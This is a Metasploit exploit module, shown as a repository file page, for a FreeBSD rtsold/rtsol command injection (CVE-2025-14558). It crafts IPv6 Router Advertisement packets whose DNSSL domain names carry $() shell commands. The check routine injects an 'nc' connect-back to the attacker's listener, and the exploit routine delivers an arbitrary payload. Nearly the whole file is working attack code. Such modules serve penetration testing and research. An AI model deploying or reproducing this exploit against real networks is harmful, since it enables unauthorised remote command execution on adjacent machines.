Path: blob/master/modules/exploits/freebsd/misc/rtsold_dnssl_cmdinject.rb
36033 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Capture9include Msf::Exploit::Remote::Ipv61011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection',16'Description' => %q{17This module exploits a command injection vulnerability (CVE-2025-14558)18in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not19validate the domain search list options provided in IPv6 Router20Advertisement messages; the option body is passed to resolvconf(8)21unmodified. resolvconf(8) is a shell script which does not validate22its input. A lack of quoting means that shell commands passed as input23to resolvconf(8) may be executed, enabling command injection via $()24substitution in the DNSSL domain name fields.2526This exploit requires Layer 2 adjacency to the target (same network27segment) and root privileges to send raw packets. Router advertisement28messages are not routable and should be dropped by routers, so the29attack does not cross network boundaries.30},31'License' => MSF_LICENSE,32'Author' => [33'Lukas Johannes Möller', # Metasploit module and PoC34'Kevin Day' # Vulnerability discovery35],36'References' => [37['CVE', '2025-14558'],38['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],39['URL', 'https://github.com/JohannesLks/CVE-2025-14558']40],41'Platform' => ['unix'],42'Arch' => ARCH_CMD,43'Privileged' => true,44'Targets' => [45[46'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)',47{}48]49],50'DefaultTarget' => 0,51'DisclosureDate' => '2025-12-16',52'DefaultOptions' => {53'PAYLOAD' => 'cmd/unix/generic'54},55'Notes' => {56'Stability' => [CRASH_SAFE],57'SideEffects' => [IOC_IN_LOGS],58'Reliability' => [REPEATABLE_SESSION]59}60)61)6263register_options(64[65OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']),66OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),67OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000])68]69)7071deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')72end7374def check75check_pcaprub_loaded7677# Use unspecified address to select default outbound interface78lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')79lport = datastore['LPORT'] || rand(44444..45444)80service = nil81client = nil8283begin84service = Rex::Socket::TcpServer.create(85'LocalHost' => lhost,86'LocalPort' => lport,87'SSL' => false,88'Context' => {89'Msf' => framework,90'MsfExploit' => self91}92)9394vprint_status("Started check listener on #{lhost}:#{lport}")9596check_cmd = "nc -w 5 #{lhost} #{lport}"97vprint_status("Sending RA packets with check payload: #{check_cmd}")9899send_ra_packets(check_cmd)100101vprint_status('Waiting for connection...')102103Timeout.timeout(10) do104client = service.accept105if client106vprint_good("Connection received from #{client.peerhost}")107return CheckCode::Vulnerable('Target connected back via encoded payload')108end109end110rescue Timeout::Error111return CheckCode::Safe('No connection received within timeout')112rescue RuntimeError => e113return CheckCode::Unknown("Pcaprub error: #{e}")114rescue StandardError => e115return CheckCode::Unknown("Error during check: #{e.class} - #{e}")116ensure117client.close if client118service.close if service119end120121CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')122end123124def send_ra_packets(cmd)125interface = datastore['INTERFACE']126count = datastore['COUNT']127delay_ms = datastore['DELAY']128129begin130smac = get_mac(interface)131rescue StandardError => e132fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}")133end134135begin136open_pcap('INTERFACE' => interface, 'ARPCAP' => false)137rescue StandardError => e138fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}")139end140141begin142pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface))143count.times do |i|144inject(pkt.to_s)145Rex.sleep(delay_ms / 1000.0) if i < count - 1146end147ensure148close_pcap149end150end151152def exploit153check_pcaprub_loaded154155print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...")156send_ra_packets(payload.encoded)157print_good('Router Advertisement(s) sent successfully')158end159end160161162